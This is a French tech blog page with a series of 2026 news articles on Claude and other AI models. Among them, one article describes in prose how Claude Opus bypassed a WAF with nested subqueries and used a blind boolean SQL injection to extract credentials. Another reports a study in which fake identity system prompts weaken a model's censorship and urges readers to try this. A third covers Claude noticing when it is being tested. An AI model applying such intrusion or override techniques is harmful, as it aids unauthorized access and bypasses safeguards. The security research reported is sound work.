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  • Votre vieux Nokia 6300 sait maintenant parler à Claude
    J'sais pas si vous êtes de la team Dumbphone , mais quand Emir Karşıyakalı tape une recherche Google sur son vieux Nokia 6300 de 2007, il se fait gentiment envoyer chier vers une mise à jour de son browser. Alors, parce qu'il en avait marre de vivre 2026 comme s'il était resté bloqué en 2007, il a codé Claude S40 , un client Claude non officiel pour les Nokia Series 40 qui font tourner du Java. Et le plus fou c'est que non seulement, c'est vibe codé mais qu'en plus,

Votre vieux Nokia 6300 sait maintenant parler à Claude

Par : Korben ✨
28 septembre 2026 à 10:42

J'sais pas si vous êtes de la team Dumbphone , mais quand Emir Karşıyakalı tape une recherche Google sur son vieux Nokia 6300 de 2007, il se fait gentiment envoyer chier vers une mise à jour de son browser. Alors, parce qu'il en avait marre de vivre 2026 comme s'il était resté bloqué en 2007, il a codé Claude S40 , un client Claude non officiel pour les Nokia Series 40 qui font tourner du Java.

Et le plus fou c'est que non seulement, c'est vibe codé mais qu'en plus, ça marche du feu de dieu :

Vous tapez votre question au clavier et la réponse s'affiche sur ce tout petit écran. Pour la météo ou l'actu, Claude fait sa recherche web côté serveur sans passer par le navigateur du Nokia. Il est même capable d'inscrire un rendez-vous pour vous dans l'agenda du téléphone.

Évidemment, le téléphone ne cause pas directement à l'API d'Anthropic. En fait, tout passe par un petit serveur écrit en Go, qui est proposé sous la forme d'une image Docker que vous devez héberger vous-même. Et c'est ce serveur qui conserve la clé API d'Anthropic, qui va donc découper les réponses que lui renvoie Claude pour les envoyer au téléphone qui ne lit pas plus de 8 Ko à la fois. Et ce serveur conserve les conversations durant 30 jours max.

Et c'est là que ce vieux Nokia rend la tâche difficile car il ne discute qu'en TLS 1.0 (Les boomers appellent ça "le petit cadenas"), n'envoie pas de SNI (le nom du site demandé) et ses certificats racines datent des années 90 et 2000 donc, autant dire que niveau dates de péremptions, c'est comme visiter la cave à conserves d'un survivaliste...

Le serveur est donc capable de discuter en HTTPS avec le web et de faire suivre la data chiffrée en HTTPS entre lui-même et le Nokia, grâce à un certificat auto-signé, dont la racine a été installée sur le téléphone.

Le code de Claude S40 est bien sûr libre, sous licence MIT, et côté hébergement, il suffit de mettre ça sur un petit VPS à quelques euros par mois et vous êtes tranquille. Ensuite, le reste se facture aux messages puisque chaque question, comme chaque recherche web, passe par votre clé API Claude... Donc, n'oubliez pas de mettre une petite limite de dépense dans votre console Anthropic, histoire de ne pas cramer votre compte en banque.

Par contre, l'appli n'a pour le moment été testée que sur le Nokia 6300 (RM-217) et il lui faut une carte SIM avec les données mobiles activées évidemment. Or le 6300 ne fait QUE du GSM, GPRS et EDGE , et Orange coupe progressivement sa 2G . En effet, depuis mars, 44 départements vont la perdre à partir du 6 octobre, et toute la métropole, hors zones blanches, sera sans 2G dès le 20 octobre 2026. Donc si vous êtes chez Orange, faut pas traîner pour tester car après, ça ne fonctionnera plus !! Sniiiif.

Mais rassurez-vous, Emir ne compte pas s'arrêter là puisqu'il est en train de reverser le firmware du téléphone pour contourner la couche Java et ensuite pouvoir lui faire faire ce qu'il veut. Voilà, si vous avez encore un 6300 dans un tiroir, c'est donc le bon moment de le ressortir, avant de passer à un dumbphone compatible 4G .

Source : Emir sur X

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  • Claude Code vous fait choisir entre vie privée et AGENTS.md
    Depuis sa version 2.1.277, Claude Code sait parfaitement lire les fichiers AGENTS.md. Ainsi, quand un projet n'a pas de CLAUDE.md, il prend l'AGENTS.md à la place, ce qui est super confortable pour tous ceux qui jonglent entre plusieurs agents. Enfin... sauf si vous avez coupé sa télémétrie, parce que dans ce cas-là, bizarrement, votre fichier AGENTS.md est totalement ignoré ! AGENTS.md, pour ceux qui débarquent, c'est un fichier Markdown que les agents de code lisent pour comprendre un projet.

Claude Code vous fait choisir entre vie privée et AGENTS.md

Par : Korben ✨
24 septembre 2026 à 07:49

Depuis sa version 2.1.277, Claude Code sait parfaitement lire les fichiers AGENTS.md. Ainsi, quand un projet n'a pas de CLAUDE.md, il prend l'AGENTS.md à la place, ce qui est super confortable pour tous ceux qui jonglent entre plusieurs agents. Enfin... sauf si vous avez coupé sa télémétrie, parce que dans ce cas-là, bizarrement, votre fichier AGENTS.md est totalement ignoré !

AGENTS.md, pour ceux qui débarquent, c'est un fichier Markdown que les agents de code lisent pour comprendre un projet. Codex, Amp ou Cursor s'y mettaient déjà en août 2025 (souvenez-vous de ce fichier qui dit non aux IA ). Alors que chez Anthropic, la demande a traîné durant 1 an sur GitHub, jusqu'à ce que Boris Cherny, qui bosse sur Claude Code, ferme le ticket en août en conseillant une astuce, un CLAUDE.md qui contient juste @AGENTS.md, pour que Claude Code importe le fichier.

Puis la 2.1.277 est arrivée avec une vraie lecture native d'AGENTS.md, sans CLAUDE.md du tout, et c'est elle qui pose problème...

Parce que cette lecture native passe en réalité par un plugin intégré, qui est off par défaut et qui ne s'allume que si un feature flag récupéré chez Anthropic, tengu_agents_md_mod, lui dit oui. Et si ce flag ne répond pas, bah c'est "niet", et le fichier n'est jamais lu. Hé oui c'est bizarre qu'un accès à un fichier local nécessite un tel appel réseau...

Et ce "non", on l'obtient sans même le savoir, puisqu'il suffit d'activer DISABLE_TELEMETRY, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC ou même DO_NOT_TRACK, ou encore de passer par Bedrock et les autres fournisseurs tiers.

Attention, même à 0 (donc activé), DISABLE_TELEMETRY coupera la télémétrie. En fait, n'importe quelle valeur non vide compte.

Le pire, c'est que rien ne vous avertit. C'est vrai que quand AGENTS.md est chargé, Claude Code l'annonce avec une petite ligne dans la session, mais quand il est ignoré, hé bien y'a rien du tout. Et c'est assez impactant car ensuite le modèle répond sans vos consignes, et vous vous tapez à reformuler vos prompts en boucle en croyant que l'IA vous ignore, alors que le fichier ne lui est tout simplement jamais parvenu.

Et le comble, c'est que c'est documenté, et la page des variables d'environnement liste même tout ce qu'on perd quand les flags ne sont pas récupérés, lecture d'AGENTS.md comprise. Pourtant, y'a aucun rapport logique... Couper la télémétrie, de mon point de vue, ça reste un choix légitime et ça ne devrait couper que l'envoi de statistiques à Anthropic et pas la lecture d'un stupide fichier texte. Bref, ça me dépasse, ce genre de bug ou de "fonctionnalité".

En attendant, la parade est celle que conseillait Boris Cherny... À côté de chaque AGENTS.md, posez un bon vieux CLAUDE.md qui contient une seule ligne, @AGENTS.md. Par défaut, dès qu'un CLAUDE.md existe, la lecture native ne s'en mêle même plus, et c'est l'import qui fait le boulot. Et comme les imports de CLAUDE.md ne dépendent d'aucun flag, hé bien ça passe tranquillou, télémétrie coupée ou pas.

Comme ça vous préservez votre vie privée ET vos consignes.

Source : szypowi.cz

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  • Claude va glisser un filigrane invisible dans tous ses textes
    Anthropic a annoncé que ses modèles Claude allaient intégrer un filigrane invisible directement dans les textes qu'ils produisent. Vous ne le verrez pas, il ne change ni le sens ni la qualité de la réponse, mais il est là, et il suit le texte au copier-coller. Anthropic, l'éditeur de Claude et concurrent direct d'OpenAI, a signé le code de bonnes pratiques adossé à l'AI Act, le règlement européen sur l'intelligence artificielle, dont les obligations de transparence s'appliquent depuis le 2 août.

Claude va glisser un filigrane invisible dans tous ses textes

13 août 2026 à 10:10

Anthropic a annoncé que ses modèles Claude allaient intégrer un filigrane invisible directement dans les textes qu'ils produisent. Vous ne le verrez pas, il ne change ni le sens ni la qualité de la réponse, mais il est là, et il suit le texte au copier-coller.

Anthropic, l'éditeur de Claude et concurrent direct d'OpenAI, a signé le code de bonnes pratiques adossé à l'AI Act, le règlement européen sur l'intelligence artificielle, dont les obligations de transparence s'appliquent depuis le 2 août. Le texte impose que les contenus générés par IA soient identifiables par une machine.

Google, Meta, Microsoft, OpenAI ou encore Synthesia ont signé le même document. Anthropic va plus loin que le minimum demandé, puisque son marquage sera déployé partout dans le monde, et pas seulement en Europe.

Dans la pratique, les modèles lancés dans l'Union européenne à partir du 2 août embarquent le marquage dès leur sortie, et les plus anciens y passeront ensuite, sans calendrier précis. Le filigrane s'appliquera sur le site de Claude, dans l'API, dans Claude Code et jusque dans les versions hébergées chez Amazon, Google et Microsoft.

Anthropic ne détaille pas sa recette. Les filigranes de texte qu'on connaît déjà, le SynthID de Google par exemple, biaisent discrètement le choix des mots pendant la génération, et le motif statistique qui en ressort ne se voit pas à l'œil nu mais se retrouve avec le bon détecteur. La marque survit au copier-coller. Pour la faire sauter, il faudrait réécrire le texte en profondeur, et encore, Anthropic admet ne pas savoir où placer le curseur.

Les images et les fichiers y auront droit aussi, via des métadonnées signées au standard C2PA que les fabricants d'appareils photo utilisent déjà pour tracer l'origine d'un cliché.

La marque signale en fait qu'un texte est passé entre les mains de Claude, sans rien dire de qui tenait le stylo au départ. Votre propre prose, confiée au robot pour une simple relecture ou une traduction, ressortira du coup tatouée pareil qu'un texte généré de bout en bout. Anthropic le reconnaît direct.

Sur les réseaux, l'accueil est un peu agacé, pas mal d'utilisateurs digérant mal l'idée d'une signature cachée glissée dans leurs documents de travail.

OpenAI a signé le même code de bonnes pratiques et marque déjà ses images, ses vidéos et son audio depuis fin juillet. Pour les textes de ChatGPT, rien pour le moment, mais ça viendra peut-être.

Source : TechCrunch

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  • Claude casse un algo post-quantique en 60 heures
    Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée. La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST,

Claude casse un algo post-quantique en 60 heures

29 juillet 2026 à 17:17

Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée.

La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST, l'organisme américain qui normalise ces standards, organise depuis des années un concours public, et HAWK y concourt au troisième tour pour les signatures numériques, ce mécanisme qui prouve qu'un message vient bien de vous.

Sauf que voilà, ce que l'IA a réellement cassé, c'est HAWK-256, un paramètre de défi mis à disposition des chercheurs pour être attaqué, pas les versions HAWK-512 et HAWK-1024 pensées pour un usage réel. L'attaque fait passer le coût d'une récupération de clé de 2 puissance 64 à 2 puissance 38 opérations, de quoi diviser par deux la taille de clé effective sur un schéma qui n'est déployé nulle part.

Deuxième résultat mis en avant : une attaque 200 à 800 fois plus rapide que la meilleure méthode connue contre AES-128 réduit à 7 tours. AES, c'est le chiffrement le plus utilisé au monde, celui qui protège votre navigateur, vos sauvegardes ou votre disque dur.

Un tour, c'est une passe de brouillage des données, et AES-128 en enchaîne dix. Les cryptographes attaquent depuis toujours des versions volontairement raccourcies pour jauger la marge de sécurité du vrai chiffre, du coup 7 tours, c'est un exercice académique, rien de plus.

Même sur cette version affaiblie, l'attaque suppose de faire chiffrer environ 2 puissance 105 messages choisis par l'attaquant, une quantité de données que personne ne réunira jamais. Anthropic l'écrit noir sur blanc : aucun système en production n'est touché.

Le sujet est ailleurs. La technique contre AES, que le modèle a baptisée le pont de Möbius, est sortie de trois jours de travail quasi autonome pour environ 100 000 dollars de calcul, avant plusieurs centaines d'heures de vérification par des chercheurs humains, seuls capables de confirmer que l'attaque tient debout.

Anthropic a d'ailleurs prévenu les auteurs de HAWK dès juin et coordonné sa publication avec le NIST. Chez Keyfactor, une société spécialisée dans la gestion du chiffrement, on y voit la preuve que le processus d'évaluation fait son travail : mieux vaut découvrir ces faiblesses maintenant qu'une fois le standard déployé partout.

Une IA qui trouve toute seule des failles dans du chiffrement, c'est franchement impressionnant. Les titres qui enterrent déjà le chiffrement mondial, beaucoup moins.

Source : Anthropic

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  • GLM 5.2 censure moins s'il se croit américain
    Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous. Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de lang

GLM 5.2 censure moins s'il se croit américain

Par : Korben ✨
28 juillet 2026 à 09:29

Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous.

Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de langage d'Anthropic". Et rien d'autre ne change, ni le modèle, ni les questions posées.

Sauf que le nom "Claude" n'est pas vraiment la variable. Quand les chercheurs présentent le développeur comme un labo occidental, le modèle de Z.ai répond sans censure dans 62 à 81 % des cas. Alors que dans un cadrage chinois, ça retombe à 27 %. Bref, ce qu'il module en réalité, c'est la juridiction sous laquelle il croit bosser.

Et cette censure n'est pas câblée pareil d'un modèle à l'autre. Chez GLM elle est molle, logée dans les poids mais négociable par le contexte. Alors que chez Qwen elle est verrouillée. 0 % de réponses non censurées quoi qu'on lui raconte, et plutôt que refuser il récite la position officielle, "Taïwan est une partie inaliénable de la Chine, nous adhérons au principe d'une seule Chine".

Et chez Kimi, elle n'est même pas gérée par le modèle. C'est l'API de Moonshot qui intercepte en amont, 40 requêtes sensibles sur 48 bloquées avant d'atteindre quoi que ce soit.

Sur l'identité elle-même, Kimi K3 est le seul à déraper tout seul. Sans qu'on ne lui demande rien, il s'est présenté comme un grand comme étant Claude, 4 fois sur 10. GLM, lui, dit toujours qu'il est GLM. Bizarre non ?

Alors on pourrait croire que c'est parce que ces modèles ont été distillés à partir des modèles d'Anthropic, mais d'après les chercheurs, "ce n'est pas une preuve de distillation, mais ça montre que la conception que Claude a de lui-même est inscrite dans les poids de ces modèles."

Ils signalent même un biais gênant, qui est que les labos entraînent explicitement leurs modèles à ne pas répondre "je suis ChatGPT" (DeepSeek V3 le faisait en boucle à ses débuts), donc accepter "Claude" par défaut est un indice bien faiblard... De quoi calmer un peu les ardeurs de ceux qui brandissent des sanctions .

Et sur le mensonge de ces modèles, attention à ne pas lire l'étude de travers. Mis en situation de mentir pour se rendre utile, GLM ment entre 63 et 69 % du temps, mais avec l'identité Claude ça tombe à 22 %.

Sauf que le gros du gain ne vient pas de cet effet "Claude". En réalité, le simple fait d'avoir un system prompt (n'importe lequel quoi) fait déjà chuter le taux à 43 %, et n'importe quel cadrage d'assistant serviable finit entre 20 et 40 %. Claude est donc dans la fourchette, pas au-dessus.

Chez Llama et Gemma, l'identité Claude fait même légèrement grimper le mensonge, les modèles ayant l'air de comprendre le prompt d'identité comme une invitation à jouer le jeu.

Fin juin, je vous racontais que j'avais branché GLM 5.2 dans Claude Code via l'API de Z.ai et comme mon launcher déclare glm-5.2 comme modèle Sonnet, le bestiau reçoit un system prompt d'assistant estampillé Anthropic à chaque lancement, donc je suis pile dans ce cas-là.

Les chercheurs n'ont pas testé ce cas précis, mais si leur mécanisme tient, le modèle qui tourne dans mon terminal n'est déjà plus tout à fait celui de l'app chinoise.

Après faut pas s'emballer non plus. On parle de 5 à 6 questions par catégorie, une seule formulation testée, un seul run par combinaison, avec GPT-4.1 en juge. C'est un signal, pas un mode d'emploi. Et vu que la dérive de Kimi s'est volatilisée en 3 jours, ce genre de résultat périme vite.

Du coup, la prochaine fois qu'un modèle chinois vous répond de la merde censurée, retravaillez votre system prompt ou changez de CLI et vous verrez surement une grosse amélioration !

Source

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  • Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher
    Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage. Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en

Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher

25 juillet 2026 à 16:33

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

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  • Anthropic a repéré la petite zone où Claude pense en douce
    Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain. Pour aller le fouiller, ils ont bricolé une technique baptisée J

Anthropic a repéré la petite zone où Claude pense en douce

Par : Korben ✨
7 juillet 2026 à 16:04

Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain.

Pour aller le fouiller, ils ont bricolé une technique baptisée Jacobian lens. En gros, elle mesure comment chaque bout d'activité interne du modèle pousse vers tel ou tel mot à venir, ce qui permet d'isoler les concepts que Claude sait verbaliser. Et ce qui remonte à la surface, ce ne sont ni les mots que vous tapez ni la réponse finale, mais des jugements en cours de route. Par exemple reconnaître un visage sur une photo, repérer un bug dans du code, deviner la fonction d'une protéine à partir de sa séquence.... tout ça se trame là, en silence, avant le moindre mot affiché.

Et ce qui est fou c'est que ce J-space encode parfois le fait que Claude a remarqué qu'on était en train de le tester. Et quand les chercheurs désactivent ces représentations-là, ils voient ressortir des penchants problématiques que le modèle gardait très bien planqués. Autrement dit, on tient un moyen de lire ce qu'une IA fabrique dans sa tête, et pas seulement ce qu'elle finit par nous répondre.

Maintenant, arrêtez de fantasmer car NON, ça ne prouve pas que Claude est conscient, et Anthropic prend soin de ne pas franchir cette ligne. Ils parlent d'un analogue purement fonctionnel de l'espace de travail global et refusent explicitement de se prononcer sur la question du ressenti. Le mot conscience fait de jolis titres sur vos médias préférés, mais leur document de recherche, lui, reste très prudent.

Le vrai intérêt est ailleurs, dans l'interprétabilité. Anthropic est déjà la boîte qui dissèque le cerveau de ses modèles et qui étudie les LLM comme des aliens et là elle se donne une vraie fenêtre pour lire, disséquer et même orienter la pensée de ses IA. On n'est plus sur des histoires de boites noires... Pour auditer un modèle, repérer une tromperie ou un biais avant même qu'il ouvre la bouche, c'est donc beaucoup plus utile qu'un débat sur l'âme des machines.

Le procédé a bien sûr des limites, puisque la Jacobian lens ne repère que les concepts que le modèle sait résumer en un mot, ce qui veut dire que tout un pan de raisonnement plus diffus lui échappe encore.

Mais bon, même si on n'a pas encore de Claude conscient à l'horizon, comme je vous le disais, cette histoire de boîte noire, c'est de l'histoire ancienne maintenant. On va enfin pouvoir détecter quand une IA nous cache des trucs et je trouve ça assez rassurant pour l'avenir.

Source

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  • Comment j'ai fait mon catalogue de vide-maison sans toucher à Figma
    Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve

Comment j'ai fait mon catalogue de vide-maison sans toucher à Figma

Par : Korben ✨
6 juillet 2026 à 11:30

Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve que les gens s'y comportent comme des bêtes. Du coup, pour commencer en douceur, j'ai choisi la méthode old school à savoir faire un petit catalogue recto verso glissé dans les boîtes aux lettres des voisins.

Sauf qu'aligner des colonnes sur un logiciel de mise en page un soir de semaine, ça heurte très violemment ce que je peux encaisser émotionnellement en ce moment ^^. L'idée m'est donc venue de prendre un petit abonnement et de tester Figma MCP (la passerelle qui laisse un agent IA piloter Figma à votre place) branché à Claude Code : vous donnez votre brief (idées, textes, prix) et un dossier de photos, et l'agent construit la mise en page à votre place.

Comme ça, plus besoin de toucher à rien.

Et si je fais cet article, c'est parce que j'ai été impressionné ! Ça fonctionne super bien. J'ai pas eu besoin de faire 50 aller-retour du genre "décalle ce truc de 2 px vers la gauche" et l'IA s'est démerdée pour tout faire rentrer sur un A4 recto verso.

Puis après, j'ai fait le même tour de magie avec la plaquette commerciale qui sert à vendre du sponsoring sur le site (le Patreon , aussi généreux soit-il, ne permet pas encore d'en vivre sans annonceurs, sniiiif). Je lui ai donné mes data, je lui ai dit ce que je voulais et Claude Code a réalisé le design et assemblé les slides à partir de tout ça.

Figma MCP, pour ceux qui débarquent, ça désigne le Model Context Protocol appliqué à Figma. C'est un standard ouvert qui permet à un agent IA comme Claude Code de discuter directement avec un logiciel, ici Figma. En clair, l'agent peut lire ce qui se passe dans votre fichier ET écrire dessus, créer des frames, poser du texte, aligner des composants, un peu comme si vous étiez aux commandes vous-même, sauf que c'est vous qui donnez les instructions et lui qui exécute.

Pour l'activer, ouvrez Figma desktop, créez un nouveau document DESIGN

Puis basculez en Dev Mode (raccourci Shift+D ou le bouton tout en bas de l'écran) où la section MCP server du panneau d'inspection permet d'activer un serveur local, à l'adresse http://127.0.0.1:3845/mcp.

Ensuite, pour que Claude Code construise et modifie réellement votre design comme je l'ai déjà fait pour mon catalogue, vous devrez le connecter au MCP de Figma depuis votre terminal avec cette commande :

claude mcp add --transport http figma https://mcp.figma.com/mcp

Une fenêtre d'authentification s'ouvre, vous validez avec votre compte Figma, et c'est plié ! Anthropic propose aussi un plugin tout-en-un si taper la commande à la main vous gonfle. Notez que cette connexion gratuite est en bêta, et Figma a prévenu que ça basculera un jour sur un modèle payant à l'usage. C'est tellement dommage de faire payer pour ça...

Reste ensuite à coller le lien du document Design dans votre prompt (ou à sélectionner le bon frame), et l'agent saura exactement où écrire.

Pour faire un peu de PAO, un petit design ou une présentation à monter vite fait, c'est super fluide. Moi j'ai branché mon outil Kassis (anciennement VoxDrop), j'ai tout dicté dans Claude Code et j'ai obtenu ce que je voulais sans effort. Claude est même parti chercher des infos sur le matos en ligne.

Figma est un chouette outil et il n'a pas l'air si complexe que ça mais quand on n'a pas envie d'apprendre à maîtriser toute cette machinerie pour faire un mini truc, ce MCP est bien pratique. Il sait tout gérer, les calques, composants, auto-layout, et compagnie et ça annihile totalement cette courbe d'apprentissage qui m'aurait fait perdre du temps sur d'autres projets plus importants.

Si vous bossez régulièrement sur des prez, des maquettes ou tout ce qui ressemble à de la PAO, ça vaut clairement le coup d'essayer en tout cas, même si vous maîtrisez Figma.

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  • Claude Opus a écrit seul l'exploit qui a éventré la billetterie de Live Nation
    Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer... Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authent

Claude Opus a écrit seul l'exploit qui a éventré la billetterie de Live Nation

Par : Korben ✨
3 juillet 2026 à 10:51

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

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  • Claude Code planquait un mouchard dans la date du prompt
    Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date. 2 petits caractères auxquels vous ne faites pas gaffe, et qui pour

Claude Code planquait un mouchard dans la date du prompt

Par : Korben ✨
1 juillet 2026 à 18:46

Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date.

2 petits caractères auxquels vous ne faites pas gaffe, et qui pourtant peuvent en dire beaucoup...

En gros, c'est de la stéganographie , c'est-à-dire l'art de cacher une info à la vue de tous. Claude Code échange l'apostrophe de "Today's" contre son jumeau Unicode invisible (U+2019, U+02BC ou U+02B9 selon les cas) et remplace au passage les tirets de la date par des slashs.

function Zup() {
if (Crt()) return null;
let host = Qup();
let timezone = e0t();
let cnTZ = timezone === "Asia/Shanghai" || timezone === "Asia/Urumqi";
if (!host) {
return {
known: false,
labKw: false,
cnTZ,
host: null,
};
}
return {
known: Jup().some((domain) => host === domain || host.endsWith("." + domain)),
